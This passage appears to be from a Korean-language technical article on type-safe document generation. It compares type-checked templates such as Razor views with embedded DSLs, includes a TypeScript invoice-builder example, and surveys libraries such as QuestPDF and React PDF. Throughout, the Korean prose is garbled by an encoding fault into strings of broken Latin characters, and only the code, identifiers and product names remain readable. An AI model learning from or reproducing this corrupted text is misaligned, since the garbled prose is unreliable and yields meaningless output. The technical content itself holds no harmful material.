์ฒซ ๋ฒ์งธ ๊ฒฝ๋ก๋ ํ ํ๋ฆฟ๊ณผ ์ฝ๋๋ฅผ ๋ถ๋ฆฌํ๋, ๋์ ์ฐ๊ฒฐํ๋ ์ค์ํ ๋น๋ ํ์ ๋จ๊ณ๋ฅผ ์ถ๊ฐํฉ๋๋ค. ์ด ๋๊ตฌ๋ ์ฐ๋ฆฌ์ ํ์ ์ ์์ ํ ํ๋ฆฟ์ ๋ชจ๋ ๊ฒ์ฌํ์ฌ ์๋ฒฝํ๊ฒ ๋๊ธฐํ๋๋๋ก ๋ณด์ฅํฉ๋๋ค.
์ด๋ ๋ ๊ฐ์ง ๋ฐฉ์์ผ๋ก ์๋ํ ์ ์์ต๋๋ค:
- ์ฝ๋-ํฌ-ํ ํ๋ฆฟ ๊ฒ์ฆ: ๋ฆฐํฐ๋ ์ปดํ์ผ๋ฌ ํ๋ฌ๊ทธ์ธ์ด `InvoiceViewModel` ํ์ ์ ์ฝ๊ณ ๊ด๋ จ๋ ๋ชจ๋ ํ ํ๋ฆฟ ํ์ผ์ ์ค์บํฉ๋๋ค. ๋ง์ฝ `{{customer.nane}}`(์คํ)๋ `{{customer.email}}`(์กด์ฌํ์ง ์๋ ์์ฑ)๊ณผ ๊ฐ์ ํ๋ ์ด์คํ๋๋ฅผ ๋ฐ๊ฒฌํ๋ฉด ์ปดํ์ผ ํ์ ์ค๋ฅ๋ก ํ์ํฉ๋๋ค.
- ํ ํ๋ฆฟ-ํฌ-์ฝ๋ ์์ฑ: ๋น๋ ํ๋ก์ธ์ค๋ ํ ํ๋ฆฟ ํ์ผ์ ๋จผ์ ์ฝ๊ณ ํด๋นํ๋ TypeScript ์ธํฐํ์ด์ค๋ C# ํด๋์ค๋ฅผ ์๋์ผ๋ก ์์ฑํ๋๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์ด๋ ํ ํ๋ฆฟ์ ๋ฐ์ดํฐ ํํ์ "์ง์ค์ ์์ฒ(source of truth)"์ผ๋ก ๋ง๋ญ๋๋ค.
์ด ์ ๊ทผ ๋ฐฉ์์ ๋ง์ ํ๋ UI ํ๋ ์์ํฌ์ ํต์ฌ ๊ธฐ๋ฅ์ ๋๋ค. ์๋ฅผ ๋ค์ด, Svelte, Angular, ๊ทธ๋ฆฌ๊ณ Vue(Volar ํ์ฅ ๊ธฐ๋ฅ ํฌํจ)๋ ๋ชจ๋ ์ปดํฌ๋ํธ ๋ก์ง๊ณผ HTML ํ ํ๋ฆฟ ๊ฐ์ ๊ธด๋ฐํ ์ปดํ์ผ ํ์ ํตํฉ์ ์ ๊ณตํฉ๋๋ค. ๋ฐฑ์๋ ์ธ๊ณ์์๋ ๊ฐ๋ ฅํ ํ์ ์ `@model` ์ง์์ด๋ฅผ ์ฌ์ฉํ๋ ASP.NET์ Razor ๋ทฐ๊ฐ ๋์ผํ ๋ชฉํ๋ฅผ ๋ฌ์ฑํฉ๋๋ค. C# ๋ชจ๋ธ ํด๋์ค์์ ์์ฑ์ ๋ฆฌํฉํ ๋งํ๋ฉด, ํด๋น ์์ฑ์ด `.cshtml` ๋ทฐ์์ ์ฌ์ ํ ์ฐธ์กฐ๋๋ ๊ฒฝ์ฐ ์ฆ์ ๋น๋ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.
์ฅ์ :
- ๊ด์ฌ์ฌ๋ฅผ ๊น๋ํ๊ฒ ๋ถ๋ฆฌํ์ฌ ๋์์ด๋๋ ํ๋ก ํธ์๋ ์ ๋ฌธ๊ฐ๊ฐ ํ ํ๋ฆฟ์ ํธ์งํด์ผ ํ๋ ํ์ ์ด์์ ์ ๋๋ค.
- "๋ ์ธ๊ณ์ ์ฅ์ "์ ๋ชจ๋ ์ ๊ณตํฉ๋๋ค: ํ ํ๋ฆฟ์ ๊ฐ๋ ์ฑ๊ณผ ์ ์ ํ์ดํ์ ์์ ์ฑ.
๋จ์ :
- ํน์ ํ๋ ์์ํฌ์ ๋น๋ ๋๊ตฌ์ ํฌ๊ฒ ์์กดํฉ๋๋ค. ์ปค์คํ ํ๋ก์ ํธ์์ Handlebars์ ๊ฐ์ ์ผ๋ฐ ํ ํ๋ฆฟ ์์ง์ ์ด๋ฅผ ๊ตฌํํ๋ ๊ฒ์ ๋ณต์กํ ์ ์์ต๋๋ค.
- ์ค๋ฅ๋ฅผ ์ก๊ธฐ ์ํด ๋น๋๋ ๋ฆฐํ ๋จ๊ณ์ ์์กดํ๋ฏ๋ก ํผ๋๋ฐฑ ๋ฃจํ๊ฐ ์ฝ๊ฐ ๋๋ฆด ์ ์์ต๋๋ค.
๊ฒฝ๋ก B: ์ฝ๋๋ฅผ ํตํ ๋ฌธ์ ๊ตฌ์ฑ (์๋ฒ ๋๋ DSL)
๋ ๋ฒ์งธ, ๊ทธ๋ฆฌ๊ณ ์ข ์ข ๋ ๊ฐ๋ ฅํ ๊ฒฝ๋ก๋ ๋ณ๋์ ํ ํ๋ฆฟ ํ์ผ์ ์์ ํ ์ ๊ฑฐํ๋ ๊ฒ์ ๋๋ค. ๋์ , ์ฐ๋ฆฌ๋ ํธ์คํธ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ๋ชจ๋ ํ๊ณผ ์์ ์ฑ์ ์ฌ์ฉํ์ฌ ๋ฌธ์ ๊ตฌ์กฐ๋ฅผ ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์์ผ๋ก ์ ์ํฉ๋๋ค. ์ด๋ ์๋ฒ ๋๋ ๋๋ฉ์ธ ํนํ ์ธ์ด(Embedded Domain-Specific Language, DSL)๋ฅผ ํตํด ๋ฌ์ฑ๋ฉ๋๋ค.
DSL์ ํน์ ์์ ์ ์ํด ์ค๊ณ๋ ๋ฏธ๋ ์ธ์ด์ ๋๋ค. "์๋ฒ ๋๋" DSL์ ์๋ก์ด ๊ตฌ๋ฌธ์ ๋ฐ๋ช ํ์ง ์์ต๋๋ค. ๋์ ํจ์, ๊ฐ์ฒด, ๋ฉ์๋ ์ฒด์ด๋๊ณผ ๊ฐ์ ํธ์คํธ ์ธ์ด์ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ๋ฌธ์๋ฅผ ๊ตฌ์ถํ๊ธฐ ์ํ ์ ์ฐฝํ๊ณ ํํ๋ ฅ ์๋ API๋ฅผ ๋ง๋ญ๋๋ค.
์ด์ ์ฐ๋ฆฌ์ ์ก์ฅ ์์ฑ ์ฝ๋๋ ๊ฐ์์ ๊ทธ๋ฌ๋ ๋ํ์ ์ธ TypeScript ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ์ ์์ต๋๋ค:
(DSL์ ์ฌ์ฉํ ์ฝ๋ ์์ )
import { Document, Page, Heading, Paragraph, Table, Cell, Row } from 'safe-document-builder';
function generateInvoiceDocument(data: InvoiceViewModel): Document {
return Document.create()
.add(Page.create()
.add(Heading.H1(`Invoice #${data.id}`))
.add(Paragraph.from(`Customer: ${data.customer.name}`)) // 'customer'์ ์ด๋ฆ์ ๋ฐ๊พธ๋ฉด ์ด ์ค์ ์ปดํ์ผ ํ์์ ๊นจ์ง๋๋ค!
.add(Table.create()
.withHeaders([ 'Item', 'Quantity', 'Price' ])
.addRows(data.items.map(item =>
Row.from([
Cell.from(item.name),
Cell.from(item.quantity),
Cell.from(item.price)
])
))
)
);
}
์ฅ์ :
- ์ฒ ํต๊ฐ์ ํ์ ์์ ์ฑ: ์ ์ฒด ๋ฌธ์๊ฐ ๋จ์ง ์ฝ๋์ผ ๋ฟ์ ๋๋ค. ๋ชจ๋ ์์ฑ ์ ๊ทผ, ๋ชจ๋ ํจ์ ํธ์ถ์ ์ปดํ์ผ๋ฌ์ ์ํด ๊ฒ์ฆ๋ฉ๋๋ค. ๋ฆฌํฉํ ๋ง์ 100% ์์ ํ๋ฉฐ IDE์ ๋์์ ๋ฐ์ต๋๋ค. ๋ฐ์ดํฐ/๊ตฌ์กฐ ๋ถ์ผ์น๋ก ์ธํ ๋ฐํ์ ์ค๋ฅ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
- ๊ถ๊ทน์ ํ๊ณผ ์ ์ฐ์ฑ: ํ ํ๋ฆฟ ์ธ์ด์ ๊ตฌ๋ฌธ์ ์ ํ๋ฐ์ง ์์ต๋๋ค. ๋ฃจํ, ์กฐ๊ฑด๋ฌธ, ํฌํผ ํจ์, ํด๋์ค ๋ฐ ์ธ์ด๊ฐ ์ง์ํ๋ ๋ชจ๋ ๋์์ธ ํจํด์ ์ฌ์ฉํ์ฌ ๋ณต์ก์ฑ์ ์ถ์ํํ๊ณ ๋งค์ฐ ๋์ ์ธ ๋ฌธ์๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, `function createReportHeader(data): Component`๋ฅผ ๋ง๋ค์ด ์์ ํ ํ์ ์์ ์ฑ์ ๊ฐ์ถ ์ฑ ์ฌ์ฌ์ฉํ ์ ์์ต๋๋ค.
- ํฅ์๋ ํ ์คํธ ์ฉ์ด์ฑ: DSL์ ์ถ๋ ฅ์ PDF์ ๊ฐ์ ์ต์ข ํ์์ผ๋ก ๋ ๋๋ง๋๊ธฐ ์ ์ ์ข ์ข ์ถ์ ๊ตฌ๋ฌธ ํธ๋ฆฌ(๋ฌธ์๋ฅผ ๋ํ๋ด๋ ๊ตฌ์กฐํ๋ ๊ฐ์ฒด)์ ๋๋ค. ์ด๋ฅผ ํตํด ๊ฐ๋ ฅํ ๋จ์ ํ ์คํธ๊ฐ ๊ฐ๋ฅํด์ง๋ฉฐ, ๋ ๋๋ง๋ ํ์ผ์ ๋๋ฆฌ๊ณ ๋ถ์์ ํ ์๊ฐ์ ๋น๊ต ์์ด ์์ฑ๋ ๋ฌธ์์ ๋ฐ์ดํฐ ๊ตฌ์กฐ๊ฐ ๋ฉ์ธ ํ ์ด๋ธ์ ์ ํํ 5๊ฐ์ ํ์ ๊ฐ์ง๊ณ ์๋์ง ๋ฑ์ ๋จ์ธํ ์ ์์ต๋๋ค.
๋จ์ :
- ๋์์ด๋-๊ฐ๋ฐ์ ์ํฌํ๋ก์ฐ: ์ด ์ ๊ทผ ๋ฐฉ์์ ํํ๊ณผ ๋ก์ง ์ฌ์ด์ ๊ฒฝ๊ณ๋ฅผ ๋ชจํธํ๊ฒ ๋ง๋ญ๋๋ค. ๋นํ๋ก๊ทธ๋๋จธ๋ ํ์ผ์ ํธ์งํ์ฌ ๋ ์ด์์์ด๋ ๋ฌธ๊ตฌ๋ฅผ ์ฝ๊ฒ ์์ ํ ์ ์์ต๋๋ค. ๋ชจ๋ ๋ณ๊ฒฝ ์ฌํญ์ ๊ฐ๋ฐ์๋ฅผ ๊ฑฐ์ณ์ผ ํฉ๋๋ค.
- ์ฅํฉํจ: ๋งค์ฐ ๊ฐ๋จํ๊ณ ์ ์ ์ธ ๋ฌธ์์ ๊ฒฝ์ฐ, DSL์ ๊ฐ๊ฒฐํ ํ ํ๋ฆฟ๋ณด๋ค ๋ ์ฅํฉํ๊ฒ ๋๊ปด์ง ์ ์์ต๋๋ค.
- ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์กด์ฑ: ๊ฒฝํ์ ์ง์ ์ ์ ์ผ๋ก ๊ธฐ๋ณธ DSL ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ค๊ณ์ ๊ธฐ๋ฅ์ ๋ฌ๋ ค ์์ต๋๋ค.
์ค์ฉ์ ์ธ ๊ฒฐ์ ํ๋ ์์ํฌ: ๋น์ ์ ๋ ๋ฒจ ์ ํํ๊ธฐ
์คํํธ๋ผ์ ์์๋ค๋ฉด, ํ๋ก์ ํธ์ ์ ํฉํ ๋ ๋ฒจ์ ์ด๋ป๊ฒ ์ ํํ ๊น์? ๊ฒฐ์ ์ ๋ช ๊ฐ์ง ํต์ฌ ์์์ ๋ฌ๋ ค ์์ต๋๋ค.
๋ฌธ์์ ๋ณต์ก์ฑ ํ๊ฐ
- ๋จ์ํจ: ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ์ด๋ฉ์ผ์ด๋ ๊ธฐ๋ณธ ์๋ฆผ์ ๊ฒฝ์ฐ, ๋ ๋ฒจ 3(ํ์ ๋ชจ๋ธ + ํ ํ๋ฆฟ)์ด ์ข ์ข ์ต์ ์ ์ง์ ์ ๋๋ค. ์ต์ํ์ ์ค๋ฒํค๋๋ก ์ฝ๋ ์ธก๋ฉด์์ ์ข์ ์์ ์ฑ์ ์ ๊ณตํฉ๋๋ค.
- ์ค๊ฐ: ์ก์ฅ, ๊ฒฌ์ ์ ๋๋ ์ฃผ๊ฐ ์์ฝ ๋ณด๊ณ ์์ ๊ฐ์ ํ์ค ๋น์ฆ๋์ค ๋ฌธ์์ ๊ฒฝ์ฐ ํ ํ๋ฆฟ/์ฝ๋ ๋ถ์ผ์น์ ์ํ์ด ์ปค์ง๋๋ค. ์คํ์์ ์ฌ์ฉ ๊ฐ๋ฅํ๋ค๋ฉด ๋ ๋ฒจ 4A(ํ์ -์ธ์ ํ ํ๋ฆฟ) ์ ๊ทผ ๋ฐฉ์์ด ๊ฐ๋ ฅํ ๊ฒฝ์์์ ๋๋ค. ๊ฐ๋จํ DSL(๋ ๋ฒจ 4B)๋ ํ๋ฅญํ ์ ํ์ ๋๋ค.
- ๋ณต์กํจ: ์ฌ๋ฌด์ ํ, ์กฐ๊ฑด๋ถ ์กฐํญ์ด ์๋ ๋ฒ๋ฅ ๊ณ์ฝ ๋๋ ๋ณดํ ์ฆ๊ถ๊ณผ ๊ฐ์ด ๋งค์ฐ ๋์ ์ธ ๋ฌธ์์ ๊ฒฝ์ฐ ์ค๋ฅ ๋น์ฉ์ด ์์ฒญ๋ฉ๋๋ค. ๋ก์ง์ด ๋ณต์กํฉ๋๋ค. DSL(๋ ๋ฒจ 4B)์ ๊ทธ ํ, ํ ์คํธ ์ฉ์ด์ฑ ๋ฐ ์ฅ๊ธฐ์ ์ธ ์ ์ง๋ณด์์ฑ ๋๋ฌธ์ ๊ฑฐ์ ํญ์ ์ฐ์ํ ์ ํ์ ๋๋ค.
ํ ๊ตฌ์ฑ ๊ณ ๋ ค
- ๋ค๊ธฐ๋ฅ ํ: ์ํฌํ๋ก์ฐ์ ๋์์ด๋๋ ์ฝํ ์ธ ๊ด๋ฆฌ์๊ฐ ์ง์ ํ ํ๋ฆฟ์ ํธ์งํ๋ ๊ฒฝ์ฐ, ํด๋น ํ ํ๋ฆฟ ํ์ผ์ ๋ณด์กดํ๋ ์์คํ ์ด ์ค์ํฉ๋๋ค. ์ด๋ ๋ ๋ฒจ 4A(ํ์ -์ธ์ ํ ํ๋ฆฟ) ์ ๊ทผ ๋ฐฉ์์ ์ด์์ ์ธ ํํ์ ์ผ๋ก ๋ง๋ค์ด, ๊ทธ๋ค์๊ฒ ํ์ํ ์ํฌํ๋ก์ฐ๋ฅผ ์ ๊ณตํ๊ณ ๊ฐ๋ฐ์์๊ฒ๋ ํ์ํ ์์ ์ฑ์ ์ ๊ณตํฉ๋๋ค.
- ๋ฐฑ์๋ ์ค์ฌ ํ: ์ฃผ๋ก ์ํํธ์จ์ด ์์ง๋์ด๋ก ๊ตฌ์ฑ๋ ํ์ ๊ฒฝ์ฐ, DSL(๋ ๋ฒจ 4B)์ ์ฑํํ๋ ์ฅ๋ฒฝ์ ๋งค์ฐ ๋ฎ์ต๋๋ค. ์์ ์ฑ๊ณผ ํ์์ ์ป๋ ์์ฒญ๋ ์ด์ ๋๋ฌธ์ ์ข ์ข ๊ฐ์ฅ ํจ์จ์ ์ด๊ณ ๊ฒฌ๊ณ ํ ์ ํ์ด ๋ฉ๋๋ค.
์ํ ํ์ฉ๋ ํ๊ฐ
์ด ๋ฌธ์๊ฐ ๋น์ฆ๋์ค์ ์ผ๋ง๋ ์ค์ํฉ๋๊น? ๋ด๋ถ ๊ด๋ฆฌ์ ๋์๋ณด๋์ ์ค์๋ ๋ถํธํจ์ ๋๋ค. ์๋ฐฑ๋ง ๋ฌ๋ฌ์ง๋ฆฌ ๊ณ ๊ฐ ์ก์ฅ์ ์ค์๋ ์ฌ์์ ๋๋ค. ์์ฑ๋ ๋ฒ๋ฅ ๋ฌธ์์ ๋ฒ๊ทธ๋ ์ฌ๊ฐํ ๊ท์ ์ค์ ๋ฌธ์ ๋ฅผ ์ผ๊ธฐํ ์ ์์ต๋๋ค. ๋น์ฆ๋์ค ๋ฆฌ์คํฌ๊ฐ ๋์์๋ก ๋ ๋ฒจ 4๊ฐ ์ ๊ณตํ๋ ์ต๋ ์์ค์ ์์ ์ฑ์ ํฌ์ํด์ผ ํ๋ค๋ ์ฃผ์ฅ์ด ๊ฐํด์ง๋๋ค.
๊ธ๋ก๋ฒ ์ํ๊ณ์ ์ฃผ๋ชฉํ ๋งํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฐ ์ ๊ทผ๋ฒ
์ด๋ฌํ ๊ฐ๋ ์ ๋จ์ง ์ด๋ก ์ ์ธ ๊ฒ์ด ์๋๋๋ค. ํ์ -์ธ์ดํ ๋ฌธ์ ์์ฑ์ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ๋ฅญํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋ง์ ํ๋ซํผ์ ์กด์ฌํฉ๋๋ค.
- TypeScript/JavaScript: React PDF๋ DSL์ ๋ํ์ ์ธ ์๋ก, ์ต์ํ React ์ปดํฌ๋ํธ์ TypeScript์ ์์ ํ ํ์ ์์ ์ฑ์ ์ฌ์ฉํ์ฌ PDF๋ฅผ ๊ตฌ์ถํ ์ ์๊ฒ ํด์ค๋๋ค. HTML ๊ธฐ๋ฐ ๋ฌธ์(Puppeteer ๋๋ Playwright์ ๊ฐ์ ๋๊ตฌ๋ฅผ ํตํด PDF๋ก ๋ณํ๋ ์ ์์)์ ๊ฒฝ์ฐ, React(with JSX/TSX)๋ Svelte์ ๊ฐ์ ํ๋ ์์ํฌ๋ฅผ ์ฌ์ฉํ์ฌ HTML์ ์์ฑํ๋ฉด ์์ ํ ํ์ -์ธ์ดํํ ํ์ดํ๋ผ์ธ์ ์ ๊ณตํฉ๋๋ค.
- C#/.NET: QuestPDF๋ PDF ๋ฌธ์ ์์ฑ์ ์ํ ์๋ฆ๋ต๊ฒ ๋์์ธ๋ ์ ์ฐฝํ DSL์ ์ ๊ณตํ๋ ํ๋์ ์ธ ์คํ ์์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก, ๋ ๋ฒจ 4B ์ ๊ทผ ๋ฐฉ์์ด ์ผ๋ง๋ ์ฐ์ํ๊ณ ๊ฐ๋ ฅํ ์ ์๋์ง๋ฅผ ์ฆ๋ช ํฉ๋๋ค. ๊ฐ๋ ฅํ ํ์ ์ `@model` ์ง์์ด๊ฐ ์๋ ๋ค์ดํฐ๋ธ Razor ์์ง์ ๋ ๋ฒจ 4A์ ์ผ๊ธ ์์ ์ ๋๋ค.
- Java/Kotlin: kotlinx.html ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ HTML ๊ตฌ์ถ์ ์ํ ํ์ -์ธ์ดํ DSL์ ์ ๊ณตํฉ๋๋ค. PDF์ ๊ฒฝ์ฐ, OpenPDF๋ iText์ ๊ฐ์ ์ฑ์ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์์ API๋ฅผ ์ ๊ณตํ๋ฉฐ, ์ด๋ ์ฆ์ ์ฌ์ฉํ ์ ์๋ DSL์ ์๋์ง๋ง ์ปค์คํ , ํ์ -์ธ์ดํ ๋น๋ ํจํด์ผ๋ก ๊ฐ์ธ์ ๋์ผํ ๋ชฉํ๋ฅผ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
- Python: ๋์ ํ์ ์ธ์ด์ด์ง๋ง, ํ์ ํํธ(`typing` ๋ชจ๋)์ ๋ํ ๊ฐ๋ ฅํ ์ง์ ๋๋ถ์ ๊ฐ๋ฐ์๋ค์ ํ์ ์์ ์ฑ์ ํจ์ฌ ๋ ๊ฐ๊น์์ง ์ ์์ต๋๋ค. ReportLab๊ณผ ๊ฐ์ ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์๊ฒฉํ๊ฒ ํ์ ์ด ์ง์ ๋ ๋ฐ์ดํฐ ํด๋์ค ๋ฐ ์ ์ ๋ถ์์ ์ํ MyPy์ ๊ฐ์ ๋๊ตฌ์ ํจ๊ป ์ฌ์ฉํ๋ฉด ๋ฐํ์ ์ค๋ฅ์ ์ํ์ ํฌ๊ฒ ์ค์ผ ์ ์์ต๋๋ค.
๊ฒฐ๋ก : ์ทจ์ฝํ ๋ฌธ์์ด์์ ํ๋ ฅ์ ์ธ ์์คํ ์ผ๋ก
์์ ๋ฌธ์์ด ๊ฒฐํฉ์์ ํ์ -์ธ์ดํ DSL๋ก์ ์ฌ์ ์ ๋จ์ํ ๊ธฐ์ ์ ์ ๊ทธ๋ ์ด๋ ์ด์์ ๋๋ค. ์ด๋ ์ฐ๋ฆฌ๊ฐ ์ํํธ์จ์ด ํ์ง์ ์ ๊ทผํ๋ ๋ฐฉ์์ ๊ทผ๋ณธ์ ์ธ ๋ณํ์ ๋๋ค. ์ด๋ ์ ์ฒด ์ค๋ฅ ํด๋์ค์ ๊ฐ์ง๋ฅผ ์์ธกํ ์ ์๋ ๋ฐํ์์ ํผ๋์์ ๋ฒ์ด๋ ์ฝ๋ ํธ์ง๊ธฐ์ ์ฐจ๋ถํ๊ณ ํต์ ๋ ํ๊ฒฝ์ผ๋ก ์ฎ๊ธฐ๋ ๊ฒ์ ๊ดํ ๊ฒ์ ๋๋ค.
๋ฌธ์๋ฅผ ์์์ ํ ์คํธ ๋ฉ์ด๋ฆฌ๊ฐ ์๋ ๊ตฌ์กฐํ๋ ํ์ ๋ฐ์ดํฐ๋ก ์ทจ๊ธํจ์ผ๋ก์จ, ์ฐ๋ฆฌ๋ ๋ ๊ฒฌ๊ณ ํ๊ณ , ์ ์ง๋ณด์ํ๊ธฐ ์ฌ์ฐ๋ฉฐ, ๋ณ๊ฒฝํ๊ธฐ์ ๋ ์์ ํ ์์คํ ์ ๊ตฌ์ถํฉ๋๋ค. ํ๋ ๋จ์ํ ์ฝ๋ ๋ฒ์ญ๊ธฐ์๋ ์ปดํ์ผ๋ฌ๋ ์ฐ๋ฆฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ํ์ฑ์ ์งํค๋ ๊ฒฝ๊ณ์ฌ ๋ง์ ์ํธ์๊ฐ ๋ฉ๋๋ค.
๋ณด๊ณ ์ ์์ฑ์์์ ํ์ ์์ ์ฑ์ ํ๋ฌธ์ ์ธ ์ฌ์น๊ฐ ์๋๋๋ค. ๋ณต์กํ ๋ฐ์ดํฐ์ ๋์ ์ฌ์ฉ์ ๊ธฐ๋์ ์ธ๊ณ์์, ์ด๋ ํ์ง, ๊ฐ๋ฐ์ ์์ฐ์ฑ, ๋น์ฆ๋์ค ํ๋ ฅ์ฑ์ ๋ํ ์ ๋ต์ ํฌ์์ ๋๋ค. ๋ค์์ ๋ฌธ์ ์์ฑ์ ๋งก๊ฒ ๋ ๋, ๋ฐ์ดํฐ๊ฐ ํ ํ๋ฆฟ์ ๋ง๊ธฐ๋ฅผ ๊ทธ๋ฅ ๋ฐ๋ผ์ง ๋ง์ญ์์คโ๋น์ ์ ํ์ ์์คํ ์ผ๋ก ๊ทธ๊ฒ์ ์ฆ๋ช ํ์ญ์์ค.